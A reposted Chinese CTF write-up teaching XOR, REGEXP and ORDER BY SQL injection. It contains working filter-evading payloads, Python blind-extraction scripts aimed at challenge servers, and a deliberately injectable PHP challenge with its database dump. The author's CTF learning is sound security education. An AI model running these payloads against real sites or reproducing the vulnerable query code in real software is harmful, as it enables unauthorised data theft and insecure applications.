从CTF题中学习几种有趣(奇怪)的SQL注入

2019-06-09 约 3604 字 预计阅读 8 分钟

声明:本文 【从CTF题中学习几种有趣(奇怪)的SQL注入】 由作者 Threezh1 于 2019-06-09 08:44:00 首发 先知社区 曾经 浏览数 107 次

感谢 Threezh1 的辛苦付出!

说在前面

最近在尝试总结一些SQL注入相关的知识,看了很多师傅们整理的文章,受益匪浅。决定根据他们的思路去尝试复现一些CTF题来学习,自己也尝试出了一个SQL注入题来加深印象。总的来说还是学到很多东西的。

第一次投稿文章,里面的内容有些乱。有问题还希望师傅们提出来,谢谢。

1.异或注入

题目地址:http://119.23.73.3:5004/

在一个师傅的博客中看到这题的Writeup,尝试按照他的payload进行复现,怎么都复现不出来。后来在安全客上看到另一篇异或注入的文章,才把这个题解决了。

初步测试之后会发现,题目过滤了空格,+,*,or,substr...等一些字符。而且#号注释也不起作用。

于是尝试异或注入。

http://119.23.73.3:5004/?id=1'^'1   返回错误
http://119.23.73.3:5004/?id=1'^'0   返回正常

在MYSQL中:

可见,当/?id=1'^'1时,传递到数据库当中,是id=0,由于为0的id不存在,所以这里返回错误。第二个同理。

这里属于布尔盲注,于是构造payload,用脚本跑:

检索数据库:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))=104))^'1'='1

检索出来的库为:information_schema,moctf,mysql,performance_schema

检索表:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='moctf')),1,1))=104))^'1'='1

检索出来的表:do_y0u_l1ke_long_t4ble_name,news

检索字段:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='do_y0u_l1ke_long_t4ble_name')),1,1))=104))^'1'='1

检索出来的字段:d0_you_als0_l1ke_very_long_column_name

读Flag:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(d0_you_als0_l1ke_very_long_column_name))FROM(moctf.do_y0u_l1ke_long_t4ble_name)),1,1))=104))^'1'='1

moctfb1ind_SQL_1njecti0n_g0od

脚本:

import requests

#文字转ascii ord()
#ascii转文字 ascii()

dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,"
url = "http://119.23.73.3:5004/?id=2'^"
keyword = "Tip"
string = ""

for i in range(1, 300):
    for j in dic:
        payload = "!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{0},1))={1}))^'1'='1".format(str(i),ord(j))
        url_get = url + payload
        print(url_get)
        content = requests.get(url_get)
        if keyword in content.text:
            string += j
            print(string)
            break
print("result = " + string)

跑出来的Flag:

2.REGEXP盲注

题目链接:http://ctf5.shiyanbar.com/web/earnest/index.php

Writeup(要登录):http://www.shiyanbar.com/ctf/writeup/4828

这道题我本来是信心满满的,然后越做越不对劲。做这道题的时候并没有fuzz的字段还没有逗号,莫名就会被拦截,搞得一头雾水。最后还是跑去看Writeup了。

先fuzz单字符来看看waf。还是拦截了很多的,而且逗号和空格也被过滤了。

除此之外,被过滤的还有:is not, union, sleep, substr, benchmark, substring, and。 并且根据大佬的思路,这里的or,+,*也都会被替换为空

看来时间盲注是没戏了。并且过滤了逗号。

我们知道,regexp盲注的原理是用正则表达式匹配。

例子:

正常的语句为:select username from users where id = 1
正常返回:admin

构造语句:
select (select username from users where id = 1) regexp '^a' 返回真(1)
select (select username from users where id = 1) regexp '^b' 返回假(0)

因为这里'^a'是匹配以a开头的字符串,原来正常返回的就是admin,所以会返回真。

继续就可以使用 regexp '^ad'...读出想要的数据

那么这里该怎么构造呢?

  • 获取version

先用length来判断verison的长度:

id=11'Or(LENGTH(version())=6)Or'1'='

由于^被过滤了,所以用$来从尾部开始读。

脚本:

import requests

key = "You are in"
words = ""
data = {"id": ""}
word = '0123456789.'

for i in range(10):
    for j in word:
        data['id'] = "11'Or(SELECT(version()regexp'{}$'))Or'1'='".format(j+words)
        print(data)
        content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
        if key in content.text:
            words = str(j) + words
            print(words)

最后跑出来为:“5.6..4”

  • 获取数据库名

将上面的word替换为:"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,", version()替换为database()即可。

跑出来为:Ctf_sql_bOol_bLInd

  • 获取表

注意这里的seperator里面的or要双写。

import requests

key = "You are in"
words = ""
data = {"id": ""}
word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~."

for i in range(30):
    for j in word:
        data['id'] = "11'Or(SELECT((SELECT(group_concat(table_name\nseparatoorr\n'@'))FROM(INFORMATION_SCHEMA.tables)WHERE(TABLE_SCHEMA=database()))regexp'{}$'))Or'1'='".format(j+words)
        print(data)
        content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
        #print(content.text)
        if key in content.text:
            words = str(j) + words
            print(words)

跑出来的表:fIAg@useRs

可能是脚本的原因,我跑出来的表是有大写有小写。

并且这里有个坑就是逗号被过滤了,导致group_concat必须使用separator指定字符来分割。

  • 获取字段
import requests

key = "You are in"
words = ""
data = {"id": ""}
word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~."

for i in range(30):
    for j in word:
        data['id'] = "11'Or(SELECT((SELECT(group_concat(column_name\nseparatoorr\n'@'))FROM(INFORMATION_SCHEMA.columns)WHERE(table_name='fiag'))regexp'{}$'))Or'1'='".format(j+words)
        print(data)
        content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
        #print(content.text)
        if key in content.text:
            if j == "$":
                words = j+ words
            else:
                words = j+ words
            print(words)

这里的坑实在是太奇怪了,当word里面不加点号时,跑出来只有:4g,原因是字段的名字为fl$4g,里面包含一个$导致正则匹配错误。

Writeup原作者,将点号加到了word里。跑出来就为:fl..g,可以猜测到字段名为:fl$4g (真的是猜测)

在正则当中,点号是用来匹配任意字符的,这里的$就会被.替代。这里我真的被卡了好久。

  • 获取flag
import requests

key = "You are in"
words = ""
data = {"id": ""}
word = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_{}@~."

for i in range(30):
    for j in word:
        data['id'] = "11'Or(SELECT(SELECT(fl$4g)FROM(fiag))regexp'{}$')Or'1'='".format(str(j)+words)
        print(data)
        content = requests.post("http://ctf5.shiyanbar.com/web/earnest/index.php", data = data)
        #print(content.text)
        if key in content.text:
            words = str(j) + words
            print(words)

最后跑出来的结果为:

Fla.{HAh.~YOu.WIn.}

像跑字段一样尝试之后可以猜测到:

最后的flag为:

flag{haha~you win!}
  • 总结

这道题其实可以使用mid来做,会更简单,不会再像这个.号一样需要自己去猜。但还是会很多的坑。

mid方式参考:https://www.cnblogs.com/Ragd0ll/p/8684767.html

这题这样做的意义更多的是学习regexp盲注吧。

3.ORDER BY 注入

先来看一下ORDER BY注入的原理

SELECT username, password FROM users order by 1 asc;

这是一个常见的order by使用语句,后面的数字是列号(也可以指定列名),asc & desc指定是升序还是降序。

注意:在order by后面的不会根据计算的结果来排序。

这里有以下几种方式来进行测试:

直接加报错注入的payload:

直接在order by后面加语句:order by (SELECT extractvalue(1,concat(0x7e,(select @@version),0x7e))) 进行报错注入

rand()方式

rand()会返回一个0和1之间的随机数,如果参数被赋值,同一个参数会返回同一个数。
这里就可以用布尔盲注的方式来进行注入
order by rand(mid(version(),1,1)=5)
当然这里也可以用时间盲注的方式。

and payload时间盲注方式

在order by后面的不会根据计算的结果来排序,但是当我们的payload有延迟命令的时候,页面还是会延迟的。

使用and连接时间延迟payload:

order by 1 and (If(substr(version(),1,1)=5,0,sleep(5)))

这里用sqllib作为一个学习的例子:

它的源代码为:

$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";

报错注入的payload:

读php版本:

http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(select @@version),0x7e)))--+

读表:

http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'security'),0x7e)))--+

读字段:

http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'),0x7e)))--+

读内容:

http://127.0.0.1/sqli/Less-46/index.php?sort=(SELECT extractvalue(1,concat(0x7e,(SELECT group_concat(username) FROM users),0x7e)))--+

rand()方式和and时间盲注的payload基本差不多,这里就不再重复了。

另一种order by注入

我自己写了一个题来学习这一种order by注入。题目过滤了F1g3这个字段名。在id=3时,F1g3字段存在flag的base16编码。(直接过滤Flag会更好)

查询语句:

$sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";";

已知:数据库名:user,表名:this_1s_th3_fiag_tab13,字段名:F1g3,列号为2

因为过滤了F1g3这个字段名,我们不能直接用普通盲注的方式得到Flag,所以就得使用一种特别的order by盲注。

访问:
index.php?id=3 union select 1,2,3 order by 1
返回:
id: 1 name: 3 
id: 3 name: threezh1

可以看到这里的1,3分别对应了id和name。 并使用了order by指定id排序。

当我们将字段1修改为4时,也就是访问:

index.php?id=3 union select 4,2,3 order by 1

就会返回:

id: 3 name: threezh1 
id: 4 name: 3

这是因为,在排序的时候,order by是默认升序排列。select 4,2,3时就会排到后面。

根据这个差异,我们可以指定按第二列来排序,并在select里猜测flag的值。这样就可以不使用F1g3这个字段名就把值读出来。

访问:/index.php?id=3 union select 1,'6',3 order by 2
返回:
id: 1 name: 3 
id: 3 name: threezh1 

访问:/index.php?id=3 union select 1,'7',3 order by 2
返回:
id: 3 name: threezh1 
id: 1 name: 3

出现差别了,因为这里是大于才会出现排序不一样,所以flag的第一个字符为6。

按照这个思路,写出脚本:

import requests
key = "<tr><td> id: 3 </td> <td> name: threezh1 </td> <br/></tr><tr><td> id: 3 </td> <td> name: 3 </td> <br/></tr>"
words = ""
data = "id=3 union select 3,'{0}',3 order by 2"
dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"


for i in range(100):
    for j in dic:
        payload = data.format(words + j)
        print(payload)
        content = requests.get("http://127.0.0.1/index.php?" + payload)
        if key in content.text:
            words = words + temp
            print(words)
            break
        temp = j

最后可以直接得到flag的base16编码。

这里有个问题就是,当select 1,2,3 中字段位的数据与数据库里的数据相等时,匹配的时候如果是匹配的是7就是7不用再退一位。

最后跑出来是 666c61677b643067335f74687265657a68317c

那么真实的flag的base16编码为:666c61677b643067335f74687265657a68317d

解码即可

题目源码:

<?php
$dbhost = 'localhost';  // mysql服务器主机地址
$dbuser = 'root';            // mysql用户名
$dbpass = 'root';          // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
    die('Could not connect: ' . mysqli_error());
}
mysqli_select_db($conn, 'user');
$id = $_GET['id'];
if (!isset($id)){
    echo "Please tell me the id , And you should think what is the sort way.";
    exit();
}
//echo strtolower($id)."<br/>";
if (preg_match('/(char|hex|conv|lower|lpad|into|password|md5|encode|decode|convert|cast)/i',strtolower($id)) != 0){ //|\s
    echo "NoNoNo";
    exit();
}

if (stripos($id, "F1ag")){
    echo "Close, but No!!! Thinking...";
    exit();
}
$sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";";
$retval = mysqli_query($conn, $sql);
if(!$retval)
{
    die('???');// . mysqli_error($conn)
}
while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC))
{
    echo "<tr><td> id: {$row['id']} </td> ".
         "<td> name: {$row['username']} </td> <br/>".
         "</tr>";
}
mysqli_close($conn);
?>

sql:

SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;

-- ----------------------------
-- Table structure for this_1s_th3_fiag_tab13
-- ----------------------------
DROP TABLE IF EXISTS `this_1s_th3_fiag_tab13`;
CREATE TABLE `this_1s_th3_fiag_tab13`  (
  `id` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
  `F1ag` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;

-- ----------------------------
-- Records of this_1s_th3_fiag_tab13
-- ----------------------------
INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('3', '666C61677B643067335F74687265657A68317D', 'threezh1', 'You is pig');
INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('1', 'No the Flag', 'oops,This is not the flag id', 'You is pig');
INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('2', 'No the Flag', 'Not the flag also', 'You is pig');

SET FOREIGN_KEY_CHECKS = 1;

参考

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now